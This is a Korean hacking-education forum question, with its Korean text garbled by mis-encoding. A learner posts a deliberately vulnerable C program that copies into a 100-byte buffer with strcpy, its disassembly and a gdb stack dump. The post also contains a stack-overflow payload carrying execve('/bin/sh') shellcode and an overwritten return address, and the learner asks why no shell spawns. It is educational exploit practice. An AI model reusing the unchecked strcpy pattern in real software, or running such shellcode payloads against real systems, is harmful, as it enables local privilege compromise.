http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1862 [º¹»ç]
#include <stdio.h>
#include <string.h>
int main(int argc, char * argv[]) {
char buf[100];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
0x0804844d <+0>: push %ebp
0x0804844e <+1>: mov %esp,%ebp
0x08048450 <+3>: and $0xfffffff0,%esp
0x08048453 <+6>: add $0xffffff80,%esp
0x08048456 <+9>: mov 0xc(%ebp),%eax
0x08048459 <+12>: add $0x4,%eax
0x0804845c <+15>: mov (%eax),%eax
0x0804845e <+17>: mov %eax,0x4(%esp)
0x08048462 <+21>: lea 0x1c(%esp),%eax
0x08048466 <+25>: mov %eax,(%esp)
0x08048469 <+28>: call 0x8048310 <strcpy@plt>
0x0804846e <+33>: lea 0x1c(%esp),%eax
0x08048472 <+37>: mov %eax,(%esp)
0x08048475 <+40>: call 0x8048320 <puts@plt>
0x0804847a <+45>: mov $0x0,%eax
0x0804847f <+50>: leave
0x08048480 <+51>: ret
¿©±â¿¡¼ main 33 ºÎºÐÇÏ°í 51 ºÎºÐ bp Àâ¾Æ¼
r `python 'print "A"*104 + "BBBB"'` ÇÏ°í
x/100wx $esp Çؼ
(gdb) x/100wx $esp
0xbfffeb70: 0xbfffeb8c 0xbfffedeb 0x02c0003f 0x00000000
0xbfffeb80: 0xbfffec34 0xbfffeba8 0xbfffeba0 0x41414141
0xbfffeb90: 0x414141410x414141410x414141410x41414141
0xbfffeba0: 0x41414141 0x414141410x414141410x41414141
0xbfffebb0: 0x414141410x414141410x414141410x41414141
0xbfffebc0: 0x414141410x414141410x414141410x41414141
0xbfffebd0: 0x414141410x414141410x414141410x41414141
0xbfffebe0: 0x414141410x414141410x414141410x41414141
0xbfffebf0: 0x414141410x424242420x00000000 0xb7e2fa83 »ý·«....
Çؼ ±× 0x424242 ºÎºÐÀÌ ret À̴ϱñ
ÀÌ ºÎºÐ¿¡ 0xbfffeb90 °ªÀ» ³Ö°í,
´Ù½Ã ./bof2 `python -c 'print "A" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A"*78 + "\x90\xeb\xff\xbf"'` Çߴµ¥.. Çߴµ¥,... Çߴµ¥ !!
³×... ¤»¤» ½©ÀÌ ¾ÈµûÁö³×¿©.(shell code´Â ºí·Î±×¿¡¼ ÆÛ¿È)
µµ¿ÍÁÖ¼¼¿ä ¤Ð¤Ð¤Ð¤Ð |
Hit : 2331 Date : 2017/04/17 03:21
|